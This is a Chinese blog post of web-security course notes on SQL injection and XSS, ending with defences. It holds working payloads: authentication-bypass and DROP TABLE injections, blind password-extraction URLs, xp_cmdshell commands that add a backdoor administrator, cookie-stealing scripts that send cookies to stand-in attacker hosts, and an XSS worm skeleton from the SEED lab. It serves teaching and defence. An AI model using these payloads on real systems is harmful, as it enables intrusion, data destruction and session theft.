【web应用安全攻防技术】02 SQL注入 & XSS注入

最新推荐文章于 2024-04-19 16:51:44 发布
最新推荐文章于 2024-04-19 16:51:44 发布
阅读量1.8k 收藏 37
点赞数 36
分类专栏： 网络与系统攻击技术 文章标签： 前端 安全 sql 网络安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_57432233/article/details/135961853
版权

文章目录

$1 SQL注入

sql注入是代码注入攻击的一种

  • 代码注入攻击：
    • 通过利用Web应用程序的输入验证不完善漏洞，
    • 使web应用程序执行由攻击者所注入的恶意指令和代码，
    • 造成敏感信息泄露、权限提升或对系统的未授权访问等危害后果
  • 多样化的代码注入攻击类型（根据攻击目标）：
    • SQL注入攻击：恶意读取、修改与操纵数据库；
    • PHP注入或ASP注入攻击：在web服务器端植入和运行Webshell
    • Shell注入攻击：在web服务器端恶意执行操作系统命令的；
    • 其他多样化注入攻击：LDAP注入、邮件命令注入、SSI注入、XPath注入、XML注入、XQuery注入等

1.1 SQL注入攻击概述

一、SQL注入攻击

SQL注入攻击是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术

二、SQL注入漏洞机制

  • 用户输入没有被正确地过滤：转义字符(引号、反引号、双下划线、分号、百分号)
  • 没有进行严格类型检查：未判断输入是否预定类型

1.2 SQL注入攻击原理

一、原理

  • 表示层：通过表单或URL输入参数 ，用户输入
  • 业务逻辑层：通过用户输入参数构造SQL语句
    • 不完善的输入验证机制
  • 数据层：通过数据连接执行SQL语句
    • 触发恶意数据库操作

二、原理解析

  • 表示层：request表单
    业务逻辑层：login.asp
    数据层：后台MS SQL Server

在这里插入图片描述

1. 正常情况
  • 用户输入：用户名：guojing；口令：123456
  • 正常SQL: SELECT * from FROM accounts WHERE username ='guojing' AND passwd = '123456'
2. 黄蓉的诡计 之 ”

  • 用户名和口令均输入：huangrong' OR '1'='1

  • 注入SQL结果：

    SELECT * from FROM accounts WHERE username =‘huangrong’ OR ‘1’='1’ AND passwd = ‘huangrong’ OR ‘1’=‘1’

    • 等价于： SELECT * from FROM accounts

  • 后果：绕过了login.asp用户身份认证的正常逻辑，获得访问

补充：其实，在用户名输入框输入： ‘ OR 1=1 -- 也能达到同样的效果

3. 黄蓉的诡计2

  • 用户名框：x’ OR ‘1’=‘1

  • 口令框输入：huangrong‘; DROP TABLE accounts; SELECT * FROM admin WHERE 't' ='t

  • 注入SQL结果：

    SELECT * from FROM accounts WHERE username =‘x’ OR ‘1’=‘1’ AND passwd = ‘huangrong’;
    DROP TABLE accounts;
    SELECT * FROM admin WHERE ‘t’ = ‘t’

4. 类型约束检查不完备SQL注入
  • statement := "SELECT * FROM userinfo WHERE id = " + a_variable + “;”
    • 黄蓉的诡计3：a_variable := “1; DROP TABLE accounts”
    • 注入SQL结果：SELECT * FROM userinfo WHERE id = 1; DROP TABLE accounts;

1.3 实际SQL注入攻击步骤

一、发现SQL注入点

  • 注入点存在于形如http://SITE/xxx.asp?some_rec=yyy的动态网页

    • 手工审查
    • Google Hacking

  • 注入点验证

    • 当some_rec字段是整数型参数时，通常数据库SQL操作语句为：SELECT * FROM some_table WHERE some_rec =yyy，将参数值yyy设置如下三种不同的字符串：

      • yyy‘(加单引号)：SQL错误

        会由于数据类型不符合造成SQL语句错误

      • yyy and 1=1：正常页面

        SELECT * FROM some_table WHERE some_rec =yyy and 1=1这个句子很正常

      • yyy and 1=2：空白页面或错误提示

        SELECT * FROM some_table WHERE some_rec =yyy and 1=2，由于1=2为永假式，将查询不到任何消息，所以返回空白页面或错误提示

      • 上述情况都满足时，可认定该web应用程序对整数类型输入缺乏严格的类型检查，存在注入点

    • 当some_rec字段是字符串参数时，通常数据库SQL操作语句为：SELECT * FROM some_table WHERE some_rec ='yyy'，将参数值yyy设置如下三种不同的字符串：

      • yyy'加单引号) ：SQL错误

        输入引号后，引号不匹配造成SQL语句错误

      • yyy‘ and ’1‘=’1：正常页面

      • yyy‘ and ’1‘=’2 ：空白页面或提示错误信息

      • 上述情况都满足时，可认定该web应用程序对字符串类型输入缺乏严格的类型检查，存在注入点

二、判断后台数据库类型

  • Web应用程序流行的后台数据库
    • ASP：MS SQL Server／ACCESS
    • PHP：MySQL
1. 利用数据库服务器的系统变量进行判断
  • MS SQL Server：user和db_name()
  • MySQL：basedir（MySQL服务器安装路径）、…
  • 例如执行：http://SITE/xxx.asp?some_rec=yyy and db_name()>0
    • 不仅可以判断是否是MS SQL Server，还可以得到当前正在使用的数据库名
2. 利用数据库服务器的系统表进行判断

  • ACCESS的系统表：msysobjects （在web环境下没访问权限）

  • MS SQL Server的系统表：sysobjects （在web环境下有访问权限）

  • MySQL的系统表： mysql

  • 例子：对于一下两条语句：

    • http://SITE/xxx.asp?some_rec = yyy and (select count(*) from sysobjects)>0

    • http://SITE/xxx.asp?some_rec = yyy and (select count(*) from msysobjects)>0

    • 如果是MS SQL Server：第一条正常，第二条异常

      如果是ACCESS：两条都异常

三、利用SQL注入进行后台口令拆解

1.猜解后台管理员口令表名
  • http://SITE/xxx.asp?some_rec = yyy and (select count (*) from guessed_tbl_name)>0
    • guessed_tbl_name：猜测的表名，一般来说可能是：user\member\admin\systemuser\manger等等
    • 通过不断请求，根据反馈页面进行判断
2. 猜解字段名

假设确定的表名为Admin

  • http://SITE/xxx.asp?some_rec = yyy and (select Count(guessed_rec_name) from Admin) > 0
    • guessed_rec_name：猜测的字段名，用户名字段：username\name\user \account；密码字段password\pass\pwd\passwd
3. 猜解字段值（用户名和口令字段值）

二分法逼近

  • 字段长度: http://SITE/xxx.asp?some_rec = yyy and (select top 1 len(username) from Admin)> [guessed_length]
    • (select top 1 len(username) from Admin)> [guessed_length] 这个查询语句的意思是：检查表 Admin 中第一个用户名的长度是否大于猜测的长度
      • top 1 是用于指定仅返回第一个结果
    • 获得字段长度信息之后，可以逐位地猜解字符串每位的字符ASCII值，为了加快猜解速度可以使用二分法来快速逼近真实取值
  • 字段值: 逐位猜解 http://SITE/xxx.asp?some_rec = yyy and (select top 1 asc(mid(username,N,1)) from Admin)>[guessed_ascii]
    • mid(username,N,1)可以截取第N位字符， asc(mid(username,N,1))得到其ASCII值
    • [guessed_ascii]时使用二分法
  • 口令字段值猜测类似，但口令可能为MD5散列后的密文
    • 可通过注入SQL修改口令，或者使用MD5破译软件进行破解
    • MD5Crack

四、上传ASP后门，得到默认账户权限

在获得管理员账号密码后，通过后台管理界面登录

  • 利用提供的上传/下载文件等功能上传ASP后门，对Web站点远程控制
    • ASP后门被上传到Web虚拟目录的Scripts下
    • 攻击者就可以通过浏览器访问它，进而得到Web服务器软件的默认账户权限
      • 一般为受限的系统用户权限，但已经可以获得本地命令执行

五、本地特权提升

  • 利用系统或某些特权应用服务(如Serv-U)安全漏洞
  • 利用系统配置不当提升系统权限

六、利用数据库扩展存储过程

  • 若当前的数据库连接支持类似MS SQL Server等支持xp_cmdshell扩展存储过程，且拥有数据库管理系统的最高权限（如MS SQL Server的sa）

    • 则可以直接调用操作系统的shell命令进行任意的操作
    • 此时，无需前面的步骤三到五

  • 例如：添加有本地系统管理员权限的后门用户帐号

    • http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net user name password /add”

      • 调用 xp_cmdshell 存储过程并在操作系统中执行 net user 命令，用于添加一个具有本地系统管理员权限的后门用户帐号
      • name 是要创建的用户名，password 是用户的密码

    • http://SITE/xxx.asp?some_rec=yyy; exec master.xp_cmdshell “net localgroup name administrators /add”

      • 尝试通过 xp_cmdshell 存储过程在操作系统中执行 net localgroup 命令，用于将一个用户添加到本地管理员组中
      • name 是指定的用户组名

1.4 自动化SQL注入

一、自动化SQL注入漏洞发现

  • Wposion
    • 一个能够在动态Web文档中找出SQL注入漏洞的工具
  • mieliekoek.pl
    • 以网站镜像工具生成的输出为输入，找出含有表单页面
    • 允许在配置文件中对注入字符串进行修改

二、自动化SQL注入测试

  • SPIKE Proxy工具
    • 允许使用者对待注入字符串进行定制
  • SPI Toolkit工具包中的“SQL Injector”工具

1.5 SQL注入攻击防范措施

  • 使用类型安全(type-safe)的参数编码机制
  • 凡是来自外部的用户输入，必须进行完备检查
    • “限制、拒绝、净化”
    • URLScan过滤器:丢弃符合给定过滤规则的输入
    • PHP v5.2.0：filter_input()与filter_var()
  • 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象
  • 加强SQL数据库服务器的配置与连接
    • 避免将敏感性数据(如口令)明文存放于数据库中
    • 最小权限原则配置Web应用程序连接数据库的查询操作权限
    • 实现一个不泄漏任何有价值信息的默认出错处理机制

$2 XSS跨站脚本攻击

2.1 概述

一、什么是跨站脚本

  • 跨站脚本是一种通常存在于Web应用程序中的安全漏洞，使得攻击者可以将恶意的代码注入到网页中，从而危害其他Web访问者（敏感信息、客户端渗透攻击等）
  • 客户端脚本：Javascript，Flash ActionScript等

二、与代码注入攻击比较

  • 相似的漏洞根源：Web应用程序没有对非预期输入做全面有效检查和净化
  • 不同的最终攻击目标
    • 代码注入：Web站点( Web 站点的内容通常存储在 web服务器)
    • XSS：访问Web应用程序的其他用户
      • web服务器是帮凶，而不是受害者了

2.2 原理

在这里插入图片描述

典型的跨站脚本攻击

  • 查看用户终端会话Cookie

    • <script>alert(document.cookie)</script>

    • 使弹出的对话框中显示当前用户在该web站点上的会话cookie，其中可能包含了：会话ID、甚至登录口令等敏感信息

  • 窃取Cookie

    • 攻击者的网站：steal_cookie_example.com

    • <script>document.location=‘http://steal_cookie_example.com/getcookie.php?cookie=’+document.cookie;</script>
      • 所有访问该页面的用户将转而访问攻击者的网站steal_cookie_example.com，并提交了他们的cookie信息
      • document.location=：这是 JavaScript 中用于改变当前页面 URL 的语法
      • document.cookie 包含了当前页面的所有 Cookie 数据。攻击者将这些 Cookie 数据作为参数附加到 URL 的末尾，以便将其发送到指定的恶意网站

  • 网页挂马

    • <iframe src="http://target_link" height=0 width=0></iframe>
      • iframe标签：用来嵌入另一个网页，攻击者可以通过将该标签的 src 属性设置为一个恶意网站的 URL，然后将高度（height）和宽度（width）属性设置为 0，使得这个 iframe 不可见
      • 当用户访问包含这段代码的页面时，浏览器会加载该 iframe 指向的恶意网站，有可能触发恶意代码的执行或者利用浏览器的漏洞进行攻

    • 或

      <script src = "http://target_link"></script>
      • src 属性设置为恶意脚本的 URL，当用户访问包含这段代码的页面时，浏览器会尝试加载并执行该脚本

2.3 攻击类型

一、持久性XSS

Persistent／stored（危害最严重）

  • 代码是存储在服务器中的，如在个人信息或发表文章等地方，插入代码
  • 如果没有过滤或过滤不严，那么这些代码将储存到服务器中，用户访问该页面的时候触发代码执行。这种XSS比较危险，容易造成蠕虫，盗窃cookie
１.漏洞形式

Web应用程序允许用户输入内容并持久保存在服务器端，并在正常网页上显示

２.攻击方式

攻击者通过利用跨站漏洞构建恶意脚本，对大量用户构成危害

３.典型案例

典型案例: 留言本/论坛/博客等

二、非持久性XSS

Non-Persistent／ reflected**（最普遍**），也叫反射型XSS

  • 反射型 XSS 是攻击者构造包含恶意脚本的 URL，诱使用户点击执行；

  • 而存储型 XSS 是攻击者将恶意脚本存储到网站上，其他用户访问时触发执行

１.概念

  • 指攻击者将恶意脚本注入到网站的 URL 参数或表单等输入字段中

  • 然后将包含恶意脚本的 URL 发送给目标用户。

  • 当用户点击包含恶意代码的 URL 时，服务器接收到 URL 中的参数并反射回给用户浏览器，恶意脚本随即被执行

２.攻击过程（步骤）

在这里插入图片描述

三、DOM 型 XSS（DOM-based XSS）

发生在客户端

2.4　攻击实例

SEED实验环境中的phpBB论坛存在XSS漏洞

在这里插入图片描述

一、测试XSS漏洞

<script>alert(’XSS’);</script>

二、窃取用户会话cookie

  • 攻击者首先架设一个服务器，该服务器可以将所有收到的http请求显示在屏幕中
  • 然后，在论坛中发布帖子：
<script>document.write(“<img src=http://attacker_IP_address:4444?c=”+document.cookie +“ >”); </script>
  • 其它用户访问该帖子时，植入的脚本在浏览器中自动执行，向地址为attacker_IP_address（攻击者的IP地址）的服务器发送HTTP请求，并将用户信息作为参数包含在URL请求中

在这里插入图片描述

（进行十六进制解码后可以获取用户SID）

三、假冒其它用户发表与修改帖子

利用cookie信息假冒其它用户发表与修改帖子

在这里插入图片描述

四、编写实现XSS蠕虫

<script>
var  Ajax=null;
//  Construct  the  header  information  for  the  Http  request
Ajax=new  XMLHttpRequest();
Ajax.open("POST","http://www.xsslabphpbb.com/posting.php",true);
……
Ajax.setRequestHeader(“Cookie”,document.cookie);
//get sid from the cookie
str_sid = ......;
//Construct the content. The format of the content can be learned from LiveHttpHeader. All we need to fill is subject, message, and sid, for a true XSS worm, we need intgrate the Javascript codes into message.
var content="subject="  +  "XSSWorm"  + ”……&message=Hello&topictype=0&poll_title=&add_poll_option_text=&poll_length=&mode=newtopic&sid="+str_sid+"&f=1&post=Submit"; 
//Send the HTTP POST request.
Ajax.send(content);
</script>

2.5　防范措施

一、服务器端

“限制、拒绝、净化”

  • 输入验证: 对用户提交数据进行尽可能严格的验证与过滤 （输入数据不能过长、仅包含某些合法字符、不能包含某些关键标签符号等）
  • 输出净化：（ASP\PHP\ASP.NET）用HTMLEncode()方法），进行编码转义，即引号"，单引号’,&等作为HTML内容而不是控制字符
  • 消除危险的输入点，有些位置提交用户输入很危险，如JavaScript中

二、客户端

  • 提高浏览器访问非受信网站时的安全等级
  • 关闭Cookie功能，或设置Cookie只读(IE6SP1 HTTPonly cookie)
  • 采用非主流浏览器Chrome, Safari, Opera
h_sing
关注
  • 36
    点赞
  • 踩
  • 37
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
SQL注入攻击实战演示（附源码）
hack0919的博客
03-31 4327
SQL注入是一种非常常见的数据库攻击手段，SQL注入漏洞也是网络世界中最普遍的漏洞之一。
SQL注入各种注入原理|绕过技巧|带实例详解|
BING
03-19 7811
Union（联合）注入攻击详解、 字符型union注入、Boolean（布尔盲注）注入攻击详解、报错注入攻击详解（报错注入只显示一条结果，通常要使用limit）、时间注入攻击、堆叠查询注入攻击、二次注入攻击、宽字节注入攻击、cookie注入攻击、base64注入攻击、XFF注入攻击、SQL注入绕过技术、sql注入修复建议
一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
wangluo12138的博客
02-13 463
一文搞懂│XSS攻击、SQL注入、CSRF攻击、DDOS攻击、DNS劫持
xss和sql注入的异同点
2303_81631620的博客
04-19 257
2.sql：sql语句的拼接，需要用到一些数据库，列，段名等，都不是固定的，只不过有的出现的次数比较多，eg：information_schema信息架构是我们常见的，但它是mysql5.0以上版本才有的，不是全都有。1.xss：攻击者通过某些方法，将恶意脚本或命令嵌入（用夹带一词也行）到用户访问的页面中，当正常用户访问页面时，触发嵌入的恶意脚本/命令，从而达到获取cookie和种马等目的。，站在数据库的角度没有语法错误的语句都是正常语句，所以都会执行，然后就可获取本无法获取的数据。
网络安全必学SQL注入
kali_Ma的博客
11-04 7362
如果使用参数化查询，则在SQL语句中使用占位符表示需在运行时确定的参数值。当找到某个变量关键词有 SQL 注入风险时，可以再根据调用链找到该存在注入风险的业务逻辑代码，查看参数来源是否安全、是否有配置SQL危险参数过滤的过滤器，最终确认是否存在SQL注入。修改SQL语句之后，程序停止报错，但是却引入了SQL语句拼接的问题，如果没有对用户输入的内容做过滤，势必会产生SQL注入漏洞。至此，整个功能流程结束，在我们跟进的过程中，代码中无任何过滤语句，获取参数值，调用update方法更新，更新成功后返回结果。
SQL注入式攻击
gaofangxw的博客
06-13 1799
加密用户输入的数据，然后再将它与数据库中保存的数据比较，这相当于对用户输入的数据进行了"消毒"处理，用户输入的数据不再对数据库有任何特殊的意义，从而也就防止了攻击者注入SQL命令。（4）用户输入的内容提交给服务器之后，服务器运行上面的ASP.NET代码构造出查询用户的SQL命令，但由于攻击者输入的内容非常特殊，所以最后得到的SQL命令变成：SELECT * from Users WHERE login = '' or '1'='1' AND password = '' or '1'='1'。
SQL注入案例演示与防范措施大全
热门推荐
乱世刀疤
02-26 1万+
SQL注入攻击案例与应对措施。
网络安全项目（XXS、SQL注入、dos）
06-16
本次实验要求在网络攻防实验环境中使用工具软件对给定的记录文件进行入侵检测，并对检测出的...通过SQL注入攻击、DOS攻击和XSS跨站脚本攻击，掌握网站的工作机制，认识到这几种攻击的防范措施，加强对Web攻击的防范。
「安全防御」我的Web应用安全模糊测试之路 - 攻防靶场.zip
11-27
本文将围绕“我的Web应用安全模糊测试之路”这一主题，结合攻防靶场的实践，深入探讨相关知识点。 首先，我们要了解什么是模糊测试。模糊测试是一种黑盒测试技术，通过向目标系统输入大量随机或半随机的数据，以期...
适用于asp.net以及IIS服务器测试的网站源码（含有xss以及sql注入漏洞）
最新发布
05-25
【标题】"适用于asp.net以及IIS服务器测试的网站源码（含有xss以及sql注入漏洞）" 提供了一个用于网络安全实践和IIS服务器配置验证的环境。这个资源包含了一个带有XSS（跨站脚本攻击）和SQL注入漏洞的ASP.NET网站源...
2024最新Web安全攻防教程资料PPT大合集（143份）.zip
03-06
Web安全攻防教程资料PPT大合集，包含CSRF漏洞分析、浏览器分析、SQL分析及XSS分析等，共143份。 Sqlmap Tamper脚本编写介绍.pptx Tamper脚本分析.pptx Sqlmap Tamper脚本分析（MSSQL）.pptx 浏览器同源策略介绍....
SQL注入攻击实例-pikachu靶场
weixin_62715196的博客
01-11 1076
SQL注入的靶场有很多，使用pikachu靶场是因为pikachu靶场中含有很多奇特的注入漏洞，可以看作是对学的SQL注入漏洞的补充，包括数字型、字符型、搜索型、xx型、insert型、update型、delete型、header型、盲注型以及宽字节型。
2020-10-10
不二的博客
10-10 963
一：什么是sql注入 　　SQL注入是比较常见的网络攻击方式之一，它不是利用操作系统的BUG来实现攻击，而是针对程序员编写时的疏忽，通过SQL语句，实现无账号登录，甚至篡改数据库。 二：SQL注入攻击的总体思路　 　　1：寻找到SQL注入的位置 　　2：判断服务器类型和后台数据库类型 　　3：针对不同的服务器和数据库特点进行SQL注入攻击 三：SQL注入攻击实例 String sql = "select * from user_table where username= ' "+us..
网络安全威胁——SQL注入攻击
聚集机器学习、信息安全
04-04 9218
随着互联网的发展和普及，网络安全问题越来越突出。SQL注入（SQL Injection）攻击是其中最普遍的安全隐患之一，它利用应用程序对用户输入数据的信任，将恶意SQL代码注入到应用程序中，导致敏感信息泄露、数据损坏或删除及系统瘫痪，给企业和个人带来巨大损失。
SQL注入攻击实例-DVWA靶场
weixin_62715196的博客
01-10 1862
通过DVWA来对学习的SQL注入技术进行学习，分别通过对普通注入（联合注入）的低、中、高以及对盲注（布尔型盲注、时间型盲注）来进行实操，锻炼自己SQL注入的能力
xss攻击 SQL注入
qq_65208982的博客
06-10 1202
QL注入，是发生于应用程序与数据库层的安全漏洞。简而言之，是在输入的字符串之中注入SQL指令，在设计不良的程序当中忽略了字符检查，那么这些注入进去的恶意指令就会被数据库服务器误认为是正常的SQL指令而运行，因此遭到破坏或是入侵。SQL 注入一般发生在用户交互场景中，比如需要用户自已输入信息的输入框，或者下拉选择选项的这种，如果不做好输入内容的过滤，就很可能发生 SQL 注入。
SQL注入和XSS攻击
neverSaynever_的博客
02-20 1644
攻击者通过在目标网站上注入恶意脚本，使之在用户的浏览器上运行。所谓SQL注入，就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。这里不仅仅 div 的内容被注入了，而且 input 的 value 属性也被注入， alert 会弹出两次。我们永远不要信任用户的输入，我们必须认定用户输入的数据都是不安全的，我们都需要对用户输入的数据进行过滤处理。XSS 攻击是页面被注入了恶意的代码，为了更形象的介绍，我们用发生在小明同学身边的事例来进行说明。
SQL注入攻击实例-CMS
weixin_62715196的博客
01-10 1863
记录一次对CMS靶场的注入过程，详细讲述如何注入的流程
【网络安全】SQL注入_sql注入攻击实例（必学系列）
weixin_57514792的博客
03-13 1627
网络安全-SQL注入
"Web应用攻防技术全面解析：SQL注入、XSS跨站脚本、代码注入攻击及防御
本课程主要讲解了Web应用的攻击及防御技术，通过对Web应用程序体系结构及其安全威胁的讨论，深入探讨了Web应用安全攻防技术的概述。其中，课堂实践中具体涉及了SQL注入漏洞测试和XSS跨站脚本攻击，帮助学生理解和...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值